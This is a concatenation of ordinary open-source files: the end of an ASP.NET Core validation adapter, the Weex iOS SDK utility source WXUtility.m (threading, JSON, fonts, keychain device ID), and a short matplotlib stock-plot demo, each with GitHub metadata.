GetErrorMessage(ModelValidationContextBase validationContext) { if (validationContext == null) { throw new ArgumentNullException(nameof(validationContext)); } return GetErrorMessage( validationContext.ModelMetadata, validationContext.ModelMetadata.GetDisplayName(), Attribute.MaximumLength, Attribute.MinimumLength); } }
{ "content_hash": "6f82e6187414c1812046d06c47b2b779", "timestamp": "", "source": "github", "line_count": 56, "max_line_length": 107, "avg_line_length": 33.125, "alnum_prop": 0.6873315363881402, "repo_name": "aspnet/AspNetCore", "id": "554425ae0c022b0224eb03baafc769d264457d3b", "size": "1993", "binary": false, "copies": "1", "ref": "refs/heads/darc-main-3ce916a7-9d9b-4849-8f14-6703adcb3cb2", "path": "src/Mvc/Mvc.DataAnnotations/src/StringLengthAttributeAdapter.cs", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "ASP", "bytes": "109" }, { "name": "Batchfile", "bytes": "19526" }, { "name": "C", "bytes": "213916" }, { "name": "C#", "bytes": "47455169" }, { "name": "C++", "bytes": "1900454" }, { "name": "CMake", "bytes": "7955" }, { "name": "CSS", "bytes": "62326" }, { "name": "Dockerfile", "bytes": "3584" }, { "name": "F#", "bytes": "7982" }, { "name": "Groovy", "bytes": "1529" }, { "name": "HTML", "bytes": "1130653" }, { "name": "Java", "bytes": "297552" }, { "name": "JavaScript", "bytes": "2726829" }, { "name": "Lua", "bytes": "4904" }, { "name": "Makefile", "bytes": "220" }, { "name": "Objective-C", "bytes": "222" }, { "name": "PowerShell", "bytes": "241706" }, { "name": "Python", "bytes": "19476" }, { "name": "Roff", "bytes": "6044" }, { "name": "Shell", "bytes": "142293" }, { "name": "Smalltalk", "bytes": "3" }, { "name": "TypeScript", "bytes": "797435" } ], "symlink_target": "" }
#import "WXUtility.h" #import "WXLog.h" #import "WXSDKEngine.h" #import "WXAppConfiguration.h" #import "WXThreadSafeMutableDictionary.h" #import "WXRuleManager.h" #import "WXSDKEngine.h" #import "WXConvert.h" #import "WXResourceRequest.h" #import "WXResourceLoader.h" #import <objc/runtime.h> #import <objc/message.h> #import <sys/utsname.h> #import <UIKit/UIScreen.h> #import <Security/Security.h> #import <CommonCrypto/CommonCrypto.h> #import <coreText/CoreText.h> #import "WXAppMonitorProtocol.h" #import "WXTextComponent.h" #define KEY_PASSWORD @"com.taobao.Weex.123456" #define KEY_USERNAME_PASSWORD @"com.taobao.Weex.weex123456" void WXPerformBlockOnMainThread(void (^ _Nonnull block)()) { if (!block) return; if ([NSThread isMainThread]) { block(); } else { dispatch_async(dispatch_get_main_queue(), ^{ block(); }); } } void WXPerformBlockSyncOnMainThread(void (^ _Nonnull block)()) { if (!block) return; if ([NSThread isMainThread]) { block(); } else { dispatch_sync(dispatch_get_main_queue(), ^{ block(); }); } } void WXPerformBlockOnThread(void (^ _Nonnull block)(), NSThread *thread) { [WXUtility performBlock:block onThread:thread]; } void WXSwizzleInstanceMethod(Class className, SEL original, SEL replaced) { Method originalMethod = class_getInstanceMethod(className, original); Method newMethod = class_getInstanceMethod(className, replaced); BOOL didAddMethod = class_addMethod(className, original, method_getImplementation(newMethod), method_getTypeEncoding(newMethod)); if (didAddMethod) { class_replaceMethod(className, replaced, method_getImplementation(newMethod), method_getTypeEncoding(newMethod)); } else { method_exchangeImplementations(originalMethod, newMethod); } } void WXSwizzleInstanceMethodWithBlock(Class class, SEL original, id block, SEL replaced) { Method originalMethod = class_getInstanceMethod(class, original); IMP implementation = imp_implementationWithBlock(block); class_addMethod(class, replaced, implementation, method_getTypeEncoding(originalMethod)); Method newMethod = class_getInstanceMethod(class, replaced); method_exchangeImplementations(originalMethod, newMethod); } SEL WXSwizzledSelectorForSelector(SEL selector) { return NSSelectorFromString([NSString stringWithFormat:@"wx_swizzle_%x_%@", arc4random(), NSStringFromSelector(selector)]); } CGFloat WXScreenScale(void) { static CGFloat _scale; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ _scale = [UIScreen mainScreen].scale; }); return _scale; } CGFloat WXPixelScale(CGFloat value, CGFloat scaleFactor) { return WXCeilPixelValue(value * scaleFactor); } CGFloat WXRoundPixelValue(CGFloat value) { CGFloat scale = WXScreenScale(); return round(value * scale) / scale; } CGFloat WXCeilPixelValue(CGFloat value) { CGFloat scale = WXScreenScale(); return ceil(value * scale) / scale; } CGFloat WXFloorPixelValue(CGFloat value) { CGFloat scale = WXScreenScale(); return floor(value * scale) / scale; } @implementation WXUtility + (void)performBlock:(void (^)())block onThread:(NSThread *)thread { if (!thread || !block) return; if ([NSThread currentThread] == thread) { block(); } else { [self performSelector:@selector(_performBlock:) onThread:thread withObject:[block copy] waitUntilDone:NO]; } } + (void)_performBlock:(void (^)())block { block(); } + (NSDictionary *)getEnvironment { NSString *platform = @"iOS"; NSString *sysVersion = [[UIDevice currentDevice] systemVersion] ?: @""; NSString *weexVersion = WX_SDK_VERSION; NSString *machine = [self deviceName] ? : @""; NSString *appVersion = [WXAppConfiguration appVersion] ? : @""; NSString *appName = [WXAppConfiguration appName] ? : @""; CGFloat deviceWidth = [self portraitScreenSize].width; CGFloat deviceHeight = [self portraitScreenSize].height; CGFloat scale = [[UIScreen mainScreen] scale]; NSMutableDictionary *data = [NSMutableDictionary dictionaryWithDictionary:@{ @"platform":platform, @"osName":platform,//osName is eaqual to platorm name in native @"osVersion":sysVersion, @"weexVersion":weexVersion, @"deviceModel":machine, @"appName":appName, @"appVersion":appVersion, @"deviceWidth":@(deviceWidth * scale), @"deviceHeight":@(deviceHeight * scale), @"scale":@(scale), @"logLevel":[WXLog logLevelString] ?: @"error" }]; if ([WXSDKEngine customEnvironment]) { [data addEntriesFromDictionary:[WXSDKEngine customEnvironment]]; } return data; } + (NSDictionary *)getDebugEnvironment { NSString *platform = @"iOS"; NSString *weexVersion = [WXSDKEngine SDKEngineVersion]; NSString *machine = [self registeredDeviceName] ? : @""; NSString *appName = [WXAppConfiguration appName] ? : @""; NSString *deviceID = [self getDeviceID]; NSMutableDictionary *data = [NSMutableDictionary dictionaryWithDictionary:@{ @"platform":platform, @"weexVersion":weexVersion, @"model":machine, @"name":appName, @"deviceId":deviceID, }]; return data; } + (NSString *)userAgent { // Device UA NSString *deviceUA = [NSString stringWithFormat:@"%@(iOS/%@)", [self deviceName]?:@"UNKNOWN", [[UIDevice currentDevice] systemVersion]]?:@"0.0.0"; // App UA NSString *appUA = [NSString stringWithFormat:@"%@(%@/%@)", [WXAppConfiguration appGroup]?:@"WeexGroup", [WXAppConfiguration appName]?:@"WeexApp", [WXAppConfiguration appVersion]?:@"0.0.0"]; // Weex UA NSString *weexUA = [NSString stringWithFormat:@"Weex/%@", WX_SDK_VERSION]; // external UA NSString *externalUA = [WXAppConfiguration externalUserAgent] ? [NSString stringWithFormat:@" %@", [WXAppConfiguration externalUserAgent]] : @""; // Screen Size CGFloat w = [[UIScreen mainScreen] bounds].size.width; CGFloat h = [[UIScreen mainScreen] bounds].size.height; CGFloat s = [[UIScreen mainScreen] scale]; NSString * screenUA = [NSString stringWithFormat:@"%dx%d", (int)(s * w), (int)(s * h)]; // New UA return [NSString stringWithFormat:@"%@ %@ %@%@ %@", deviceUA, appUA, weexUA, externalUA, screenUA]; } + (id)objectFromJSON:(NSString *)json { if (!json) return nil; NSData *data = [json dataUsingEncoding:NSUTF8StringEncoding]; NSError *error = nil; id obj = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingAllowFragments | NSJSONReadingMutableContainers | NSJSONReadingMutableLeaves error:&error]; if(error){ WXLogError(@"%@", [error description]); return nil; } return obj; } + (id)JSONObject:(NSData*)data error:(NSError **)error { if (!data) return nil; id jsonObj = nil; @try { jsonObj = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingAllowFragments | NSJSONReadingMutableContainers | NSJSONReadingMutableLeaves error:error]; } @catch (NSException *exception) { *error = [NSError errorWithDomain:WX_ERROR_DOMAIN code:-1 userInfo:@{NSLocalizedDescriptionKey: [exception description]}]; } return jsonObj; } + (NSString *)JSONString:(id)object { if(!object) return nil; NSError *error = nil; if([object isKindOfClass:[NSArray class]] || [object isKindOfClass:[NSDictionary class]]){ NSData *data = [NSJSONSerialization dataWithJSONObject:object options:NSJSONWritingPrettyPrinted error:&error]; if (error) { WXLogError(@"%@", [error description]); return nil; } return [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; } else if ([object isKindOfClass:[NSString class]]) { NSArray *array = @[object]; NSData *data = [NSJSONSerialization dataWithJSONObject:array options:NSJSONWritingPrettyPrinted error:&error]; if (error) { WXLogError(@"%@", [error description]); return nil; } NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; if (string.length <= 4) { WXLogError(@"json convert length less than 4 chars."); return nil; } return [string substringWithRange:NSMakeRange(2, string.length - 4)]; } else { WXLogError(@"object isn't avaliable class"); return nil; } } + (id)copyJSONObject:(id)object { if ([object isKindOfClass:[NSArray class]]) { NSArray *array = (NSArray *)object; NSMutableArray *copyObjs = [NSMutableArray array]; [array enumerateObjectsUsingBlock:^(id _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) { id copyObj = [self copyJSONObject:obj]; [copyObjs insertObject:copyObj atIndex:idx]; }]; return copyObjs; } else if ([object isKindOfClass:[NSDictionary class]]) { NSDictionary *dict = (NSDictionary *)object; NSMutableDictionary *copyObjs = [NSMutableDictionary dictionary]; [dict enumerateKeysAndObjectsUsingBlock:^(id _Nonnull key, id _Nonnull obj, BOOL * _Nonnull stop) { id copyObj = [self copyJSONObject:obj]; [copyObjs setObject:copyObj forKey:key]; }]; return copyObjs; } else { return [object copy]; } } + (BOOL)isBlankString:(NSString *)string { if (string == nil || string == NULL || [string isKindOfClass:[NSNull class]]) { return true; } if (![string isKindOfClass:[NSString class]]) { WXLogError(@"%@ is not a string", string); return true; } if ([[string stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]] length] == 0) { return true; } return false; } + (NSError *)errorWithCode:(NSInteger)code message:(NSString *)message { message = message ? : @""; return [NSError errorWithDomain:@"WeexErrorDomain" code:code userInfo:@{@"errMsg":message}]; } + (NSDictionary *)linearGradientWithBackgroundImage:(NSString *)backgroundImage { NSMutableDictionary * linearGradient = nil; if ([backgroundImage hasPrefix:@"linear-gradient"] && [backgroundImage hasSuffix:@")"] ) { backgroundImage = [backgroundImage stringByReplacingOccurrencesOfString:@" " withString:@""]; NSRange range = NSMakeRange(16, backgroundImage.length - 17); NSString *str = [backgroundImage substringWithRange:range]; NSArray *array = [str componentsSeparatedByString:@","]; WXGradientType gradientType = WXGradientTypeToTop; UIColor *startColor, *endColor; if ([array count] < 3) { return linearGradient; } if ([array count] == 3) { gradientType = [WXConvert gradientType:array[0]]; startColor = [WXConvert UIColor:array[1]]; endColor = [WXConvert UIColor:array[2]]; } else if ([array count] > 3) { NSString *gradientTypeStr = array[0]; NSString *subStr = [str substringFromIndex:gradientTypeStr.length + 1]; if ([subStr hasPrefix:@"rgb"]) { gradientType = [WXConvert gradientType:gradientTypeStr]; range = [subStr rangeOfString:@")"]; NSString *startColorStr = [subStr substringToIndex:range.location + 1]; NSString *endColorStr = [subStr substringFromIndex:range.location + 2]; startColor = [WXConvert UIColor:startColorStr]; endColor = [WXConvert UIColor:endColorStr]; } else { gradientType = [WXConvert gradientType:gradientTypeStr]; startColor = [WXConvert UIColor:array[1]]; NSString *startColorStr = array[1]; NSString *endColorStr = [subStr substringFromIndex:startColorStr.length + 1]; endColor = [WXConvert UIColor:endColorStr]; } } if (endColor || startColor) { linearGradient = [NSMutableDictionary new]; [linearGradient setValue:startColor forKey:@"startColor"]; [linearGradient setValue:endColor forKey:@"endColor"]; [linearGradient setValue:@(gradientType) forKey:@"gradientType"]; } } return linearGradient; } + (CAGradientLayer *)gradientLayerFromColors:(NSArray*)colors locations:(NSArray*)locations frame:(CGRect)frame gradientType:(WXGradientType)gradientType { CAGradientLayer * gradientLayer = [CAGradientLayer layer]; NSMutableArray *newColors = [NSMutableArray new]; for(UIColor *color in colors) { [newColors addObject:(id)color.CGColor]; } if (colors) { gradientLayer.colors = newColors; } if (locations) { gradientLayer.locations = locations; } CGPoint start = CGPointZero; CGPoint end = CGPointZero; switch (gradientType) { case WXGradientTypeToTop: start = CGPointMake(0.0, 1.0); end = CGPointMake(0.0, 0.0); break; case WXGradientTypeToBottom: start = CGPointMake(0.0, 0.0); end = CGPointMake(0.0, 1.0); break; case WXGradientTypeToLeft: start = CGPointMake(1.0, 0.0); end = CGPointMake(0.0, 0.0); break; case WXGradientTypeToRight: start = CGPointMake(0.0, 0.0); end = CGPointMake(1.0, 0.0); break; case WXGradientTypeToTopleft: start = CGPointMake(1.0, 1.0); end = CGPointMake(0.0, 0.0f); break; case WXGradientTypeToBottomright: start = CGPointMake(0.0, 0.0); end = CGPointMake(1.0, 1.0); break; default: break; } gradientLayer.startPoint = start; gradientLayer.endPoint = end; gradientLayer.frame = frame; return gradientLayer; } + (UIFont *)fontWithSize:(CGFloat)size textWeight:(CGFloat)textWeight textStyle:(WXTextStyle)textStyle fontFamily:(NSString *)fontFamily { return [self fontWithSize:size textWeight:textWeight textStyle:textStyle fontFamily:fontFamily scaleFactor:[self defaultPixelScaleFactor]]; } + (UIFont *)fontWithSize:(CGFloat)size textWeight:(CGFloat)textWeight textStyle:(WXTextStyle)textStyle fontFamily:(NSString *)fontFamily scaleFactor:(CGFloat)scaleFactor useCoreText:(BOOL)useCoreText { CGFloat fontSize = (isnan(size) || size == 0) ? 32 * scaleFactor : size; UIFont *font = nil; WXThreadSafeMutableDictionary *fontFace = [[WXRuleManager sharedInstance] getRule:@"fontFace"]; WXThreadSafeMutableDictionary *fontFamilyDic = fontFace[fontFamily]; if (fontFamilyDic[@"localSrc"]){ NSString *fpath = [((NSURL*)fontFamilyDic[@"localSrc"]) path]; if ([self isFileExist:fpath]) { // if the font file is not the correct font file. it will crash by singal 9 CFURLRef fontURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, (__bridge CFStringRef)fpath, kCFURLPOSIXPathStyle, false); if (fontURL) { if (useCoreText) { CGDataProviderRef fontDataProvider = CGDataProviderCreateWithURL(fontURL); if (fontDataProvider) { CGFontRef newFont = CGFontCreateWithDataProvider(fontDataProvider); CFErrorRef error = nil; CTFontManagerRegisterGraphicsFont(newFont, &error); // the same font family, remove it and register new one. if (error) { CTFontManagerUnregisterGraphicsFont(newFont, NULL); CTFontManagerRegisterGraphicsFont(newFont, NULL); CFRelease(error); error = nil; } fontFamily = (__bridge_transfer NSString*)CGFontCopyPostScriptName(newFont); CGFontRelease(newFont); CFRelease(fontURL); CFRelease(fontDataProvider); } } else { CFErrorRef error = nil; CTFontManagerRegisterFontsForURL(fontURL, kCTFontManagerScopeProcess, &error); if (error) { CFRelease(error); error = nil; CTFontManagerUnregisterFontsForURL(fontURL, kCTFontManagerScopeProcess, NULL); CTFontManagerRegisterFontsForURL(fontURL, kCTFontManagerScopeProcess, NULL); } NSArray *descriptors = (__bridge_transfer NSArray *)CTFontManagerCreateFontDescriptorsFromURL(fontURL); // length of descriptors here will be only one. for (UIFontDescriptor *desc in descriptors) { font = [UIFont fontWithDescriptor:desc size:fontSize]; } CFRelease(fontURL); } } }else { [[WXRuleManager sharedInstance] removeRule:@"fontFace" rule:@{@"fontFamily": fontFamily}]; } } if (!font) { if (fontFamily) { font = [UIFont fontWithName:fontFamily size:fontSize]; } if (!font) { if (fontFamily) { WXLogWarning(@"Unknown fontFamily:%@", fontFamily); } if(WX_SYS_VERSION_LESS_THAN(@"8.2")) { font = [UIFont systemFontOfSize:fontSize]; } else { font = [UIFont systemFontOfSize:fontSize weight:textWeight]; } } } UIFontDescriptor *fontD = font.fontDescriptor; UIFontDescriptorSymbolicTraits traits = 0; traits = (textStyle == WXTextStyleItalic) ? (traits | UIFontDescriptorTraitItalic) : traits; if (WX_SYS_VERSION_LESS_THAN(@"8.2")) { traits = ((textWeight-0.4) >= 0.0) ? (traits | UIFontDescriptorTraitBold) : traits; }else { traits = (textWeight-UIFontWeightBold >= 0.0) ? (traits | UIFontDescriptorTraitBold) : traits; } if (traits != 0) { fontD = [fontD fontDescriptorWithSymbolicTraits:traits]; UIFont *tempFont = [UIFont fontWithDescriptor:fontD size:0]; if (tempFont) { font = tempFont; } } return font; } + (UIFont *)fontWithSize:(CGFloat)size textWeight:(CGFloat)textWeight textStyle:(WXTextStyle)textStyle fontFamily:(NSString *)fontFamily scaleFactor:(CGFloat)scaleFactor { return [self fontWithSize:size textWeight:textWeight textStyle:textStyle fontFamily:fontFamily scaleFactor:scaleFactor useCoreText:NO]; } + (void)getIconfont:(NSURL *)url completion:(void(^)(NSURL *url, NSError *error))completionBlock { if ([url isFileURL]) { // local file url NSError * error = nil; if (![WXUtility isFileExist:url.path]) { error = [NSError errorWithDomain:WX_ERROR_DOMAIN code:-1 userInfo:@{@"errMsg":[NSString stringWithFormat:@"local font %@ is't exist", url.absoluteString]}]; } completionBlock(url, error); return; } WXResourceRequest *request = [WXResourceRequest requestWithURL:url resourceType:WXResourceTypeFont referrer:@"" cachePolicy:NSURLRequestUseProtocolCachePolicy]; request.userAgent = [self userAgent]; WXResourceLoader *iconfontLoader = [[WXResourceLoader alloc] initWithRequest:request]; iconfontLoader.onFinished = ^(const WXResourceResponse * response, NSData * data) { NSURL * downloadPath = nil; NSError * error = nil; NSHTTPURLResponse * httpResponse = (NSHTTPURLResponse*)response; if (200 == httpResponse.statusCode) { NSString *file = [NSString stringWithFormat:@"%@/%@",WX_FONT_DOWNLOAD_DIR,[WXUtility md5:[url absoluteString]]]; downloadPath = [NSURL fileURLWithPath:file]; NSFileManager *mgr = [NSFileManager defaultManager]; if (![mgr fileExistsAtPath:[file stringByDeletingLastPathComponent]]) { // create font cache directory and its parent if not exist [mgr createDirectoryAtPath:[file stringByDeletingLastPathComponent] withIntermediateDirectories:YES attributes:nil error:&error]; } BOOL result = [data writeToFile:downloadPath.path atomically:NO]; if (!result) { downloadPath = nil; } } else { if (200 != httpResponse.statusCode) { error = [NSError errorWithDomain:WX_ERROR_DOMAIN code:-1 userInfo:@{@"ErrorMsg": [NSString stringWithFormat:@"can not load the font url %@ ", url.absoluteString]}]; } } completionBlock(downloadPath, error); }; iconfontLoader.onFailed = ^(NSError* error) { completionBlock(nil, error); }; [iconfontLoader start]; } + (BOOL)isFileExist:(NSString *)filePath { return [[NSFileManager defaultManager] fileExistsAtPath:filePath]; } + (NSString *)documentDirectory { static NSString *docPath = nil; if (!docPath){ docPath = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES).firstObject; } return docPath; } + (NSString *)cacheDirectory { static NSString *cachePath = nil; if (!cachePath) { cachePath = NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask, YES).firstObject; } return cachePath; } + (NSString *)libraryDirectory { static NSString *libPath = nil; if (!libPath) { libPath = NSSearchPathForDirectoriesInDomains(NSLibraryDirectory, NSUserDomainMask, YES).firstObject; } return libPath; } + (NSCache *)globalCache { static NSCache *cache; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ cache = [NSCache new]; cache.totalCostLimit = 5 * 1024 * 1024; [[NSNotificationCenter defaultCenter] addObserverForName:UIApplicationDidReceiveMemoryWarningNotification object:nil queue:nil usingBlock:^(__unused NSNotification *note) { [cache removeAllObjects]; }]; }); return cache; } + (NSString *)deviceName { struct utsname systemInfo; uname(&systemInfo); NSString *machine = [NSString stringWithCString:systemInfo.machine encoding:NSUTF8StringEncoding]; return machine; } + (NSString *)registeredDeviceName { NSString *machine = [[UIDevice currentDevice] model]; NSString *systemVer = [[UIDevice currentDevice] systemVersion] ? : @""; NSString *model = [NSString stringWithFormat:@"%@:%@",machine,systemVer]; return model; } + (CGSize)portraitScreenSize { if ([[UIDevice currentDevice].model isEqualToString:@"iPad"]) { return [UIScreen mainScreen].bounds.size; } static CGSize portraitScreenSize; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ CGSize screenSize = [UIScreen mainScreen].bounds.size; portraitScreenSize = CGSizeMake(MIN(screenSize.width, screenSize.height), MAX(screenSize.width, screenSize.height)); }); return portraitScreenSize; } + (CGFloat)defaultPixelScaleFactor { if ([[UIDevice currentDevice].model isEqualToString:@"iPad"]) { return [self portraitScreenSize].width / WXDefaultScreenWidth; } static CGFloat defaultScaleFactor; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ defaultScaleFactor = [self portraitScreenSize].width / WXDefaultScreenWidth; }); return defaultScaleFactor; } #pragma mark - get deviceID + (NSString *)getDeviceID { NSMutableDictionary *usernamepasswordKVPairs = (NSMutableDictionary *)[self load:KEY_USERNAME_PASSWORD]; NSString *deviceID = [usernamepasswordKVPairs objectForKey:KEY_PASSWORD]; if (!deviceID) { CFUUIDRef uuid = CFUUIDCreate(NULL); deviceID = CFBridgingRelease(CFUUIDCreateString(NULL, uuid)); assert(deviceID); CFRelease(uuid); NSMutableDictionary *usernamepasswordKVPairs = [NSMutableDictionary dictionary]; [usernamepasswordKVPairs setObject:deviceID forKey:KEY_PASSWORD]; [self save:KEY_USERNAME_PASSWORD data:usernamepasswordKVPairs]; } return deviceID; } + (NSMutableDictionary *)getKeychainQuery:(NSString *)service { return [NSMutableDictionary dictionaryWithObjectsAndKeys: (id)kSecClassGenericPassword,(id)kSecClass, service, (id)kSecAttrService, service, (id)kSecAttrAccount, (id)kSecAttrAccessibleAfterFirstUnlock,(id)kSecAttrAccessible, nil]; } + (void)save:(NSString *)service data:(id)data { //Get search dictionary NSMutableDictionary *keychainQuery = [self getKeychainQuery:service]; //Delete old item before add new item SecItemDelete((CFDictionaryRef)keychainQuery); //Add new object to search dictionary(Attention:the data format) [keychainQuery setObject:[NSKeyedArchiver archivedDataWithRootObject:data] forKey:(id)kSecValueData]; //Add item to keychain with the search dictionary SecItemAdd((CFDictionaryRef)keychainQuery, NULL); } + (id)load:(NSString *)service { id ret = nil; NSMutableDictionary *keychainQuery = [self getKeychainQuery:service]; //Configure the search setting //Since in our simple case we are expecting only a single attribute to be returned (the password) we can set the attribute kSecReturnData to kCFBooleanTrue [keychainQuery setObject:(id)kCFBooleanTrue forKey:(id)kSecReturnData]; [keychainQuery setObject:(id)kSecMatchLimitOne forKey:(id)kSecMatchLimit]; CFDataRef keyData = NULL; if (SecItemCopyMatching((CFDictionaryRef)keychainQuery, (CFTypeRef *)&keyData) == noErr) { @try { ret = [NSKeyedUnarchiver unarchiveObjectWithData:(__bridge NSData *)keyData]; } @catch (NSException *e) { NSLog(@"Unarchive of %@ failed: %@", service, e); } @finally { } } if (keyData) CFRelease(keyData); return ret; } + (void)delete:(NSString *)service { NSMutableDictionary *keychainQuery = [self getKeychainQuery:service]; SecItemDelete((CFDictionaryRef)keychainQuery); } + (NSURL *)urlByDeletingParameters:(NSURL *)url { NSURLComponents *components = [NSURLComponents componentsWithURL:url resolvingAgainstBaseURL:YES]; components.query = nil; // remove the query components.fragment = nil; return [components URL]; } + (NSString *)stringWithContentsOfFile:(NSString *)filePath { if ([[NSFileManager defaultManager] fileExistsAtPath:filePath]) { NSString *contents = [NSString stringWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:NULL]; if (contents) { return contents; } } return nil; } + (NSString *)md5:(NSString *)string { const char *str = string.UTF8String; unsigned char result[CC_MD5_DIGEST_LENGTH]; CC_MD5(str, (CC_LONG)strlen(str), result); return [NSString stringWithFormat:@"%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", result[0], result[1], result[2], result[3], result[4], result[5], result[6], result[7], result[8], result[9], result[10], result[11], result[12], result[13], result[14], result[15] ]; } + (NSString *)uuidString { CFUUIDRef uuidRef = CFUUIDCreate(NULL); CFStringRef uuidStringRef= CFUUIDCreateString(NULL, uuidRef); NSString *uuid = [NSString stringWithString:(__bridge NSString *)uuidStringRef]; CFRelease(uuidRef); CFRelease(uuidStringRef); return [uuid lowercaseString]; } + (NSDate *)dateStringToDate:(NSString *)dateString { NSDateFormatter *formatter = [[NSDateFormatter alloc] init] ; [formatter setDateFormat:@"yyyy-MM-dd"]; NSDate *date=[formatter dateFromString:dateString]; return date; } + (NSDate *)timeStringToDate:(NSString *)timeString { NSDateFormatter *formatter = [[NSDateFormatter alloc] init] ; [formatter setDateFormat:@"HH:mm"]; NSDate *date=[formatter dateFromString:timeString]; return date; } + (NSString *)dateToString:(NSDate *)date { NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init]; [dateFormatter setDateFormat:@"yyyy-MM-dd"]; NSString *str = [dateFormatter stringFromDate:date]; return str; } + (NSString *)timeToString:(NSDate *)date { NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init]; [dateFormatter setDateFormat:@"HH:mm"]; NSString *str = [dateFormatter stringFromDate:date]; return str; } + (NSUInteger)getSubStringNumber:(NSString *_Nullable)string subString:(NSString *_Nullable)subString { if([string length] ==0) { return 0; } if([subString length] ==0) { return 0; } NSError *error = NULL; NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:subString options:NSRegularExpressionCaseInsensitive error:&error]; NSUInteger numberOfMatches = [regex numberOfMatchesInString:string options:0 range:NSMakeRange(0, [string length])]; return numberOfMatches; } BOOL WXFloatEqual(CGFloat a, CGFloat b) { return WXFloatEqualWithPrecision(a, b,FLT_EPSILON); } BOOL WXFloatEqualWithPrecision(CGFloat a, CGFloat b ,double precision){ return fabs(a - b) <= precision; } BOOL WXFloatLessThan(CGFloat a, CGFloat b) { return WXFloatLessThanWithPrecision(a, b, FLT_EPSILON); } BOOL WXFloatLessThanWithPrecision(CGFloat a, CGFloat b ,double precision){ return a-b < - precision; } BOOL WXFloatGreaterThan(CGFloat a, CGFloat b) { return WXFloatGreaterThanWithPrecision(a, b, FLT_EPSILON); } BOOL WXFloatGreaterThanWithPrecision(CGFloat a, CGFloat b ,double precision){ return a-b > precision; } + (NSString *_Nullable)returnKeyType:(UIReturnKeyType)type { NSString *typeStr = @"default"; switch (type) { case UIReturnKeyDefault: typeStr = @"default"; break; case UIReturnKeyGo: typeStr = @"go"; break; case UIReturnKeyNext: typeStr = @"next"; break; case UIReturnKeySearch: typeStr = @"search"; break; case UIReturnKeySend: typeStr = @"send"; break; case UIReturnKeyDone: typeStr = @"done"; break; default: break; } return typeStr; } + (void)customMonitorInfo:(WXSDKInstance *_Nullable)instance key:(NSString * _Nonnull)key value:(id _Nonnull)value { if([self isBlankString:key]||!value||!instance){ return ; } if(!instance.userInfo){ instance.userInfo = [NSMutableDictionary new]; } NSMutableDictionary *custormMonitorDict = instance.userInfo[WXCUSTOMMONITORINFO]; if(!custormMonitorDict){ custormMonitorDict = [NSMutableDictionary new]; } [custormMonitorDict setObject:value forKey:key]; instance.userInfo[WXCUSTOMMONITORINFO] = custormMonitorDict; } + (NSDictionary *_Nonnull)dataToBase64Dict:(NSData *_Nullable)data { NSMutableDictionary *dataDict = [NSMutableDictionary new]; if(data){ NSString *base64Encoded = [data base64EncodedStringWithOptions:0]; [dataDict setObject:@"binary" forKey:@"@type"]; [dataDict setObject:base64Encoded forKey:@"base64"]; } return dataDict; } + (NSData *_Nonnull)base64DictToData:(NSDictionary *_Nullable)base64Dict { if([@"binary" isEqualToString:base64Dict[@"@type"]]){ NSString *base64 = base64Dict[@"base64"]; NSData *sendData = [[NSData alloc] initWithBase64EncodedString:base64 options:0]; return sendData; } return nil; } @end //Deprecated CGFloat WXScreenResizeRadio(void) { return [WXUtility defaultPixelScaleFactor]; } CGFloat WXPixelResize(CGFloat value) { return WXCeilPixelValue(value * WXScreenResizeRadio()); } CGRect WXPixelFrameResize(CGRect value) { CGRect new = CGRectMake(value.origin.x * WXScreenResizeRadio(), value.origin.y * WXScreenResizeRadio(), value.size.width * WXScreenResizeRadio(), value.size.height * WXScreenResizeRadio()); return new; } CGPoint WXPixelPointResize(CGPoint value) { CGPoint new = CGPointMake(value.x * WXScreenResizeRadio(), value.y * WXScreenResizeRadio()); return new; }
{ "content_hash": "17f6e1c63e2c60e62ebbb62134710d6a", "timestamp": "", "source": "github", "line_count": 944, "max_line_length": 199, "avg_line_length": 36.15148305084746, "alnum_prop": 0.6253406393764468, "repo_name": "leoward/incubator-weex", "id": "621cf68144052630975063ff17c8da01ecd63896", "size": "34936", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "ios/sdk/WeexSDK/Sources/Utility/WXUtility.m", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Awk", "bytes": "1100" }, { "name": "C", "bytes": "54245" }, { "name": "CSS", "bytes": "62128" }, { "name": "HTML", "bytes": "8388" }, { "name": "Java", "bytes": "4855679" }, { "name": "JavaScript", "bytes": "15153710" }, { "name": "Objective-C", "bytes": "1589531" }, { "name": "Objective-C++", "bytes": "48153" }, { "name": "Ruby", "bytes": "5268" }, { "name": "Shell", "bytes": "24917" }, { "name": "Vue", "bytes": "113489" } ], "symlink_target": "" }
from matplotlib.ticker import MultipleLocator from pylab import * from data_helper import get_two_stock_data d1, p1, d2, p2 = get_two_stock_data() ax = subplot(111) lines = plot(d1, p1, 'bs', d2, p2, 'go') xlabel('Days') ylabel('Normalized price') xlim(0, 3) ax.xaxis.set_major_locator(MultipleLocator(1)) title('INTC vs AAPL') legend( ('INTC', 'AAPL') ) #savefig('stock_demo') show()
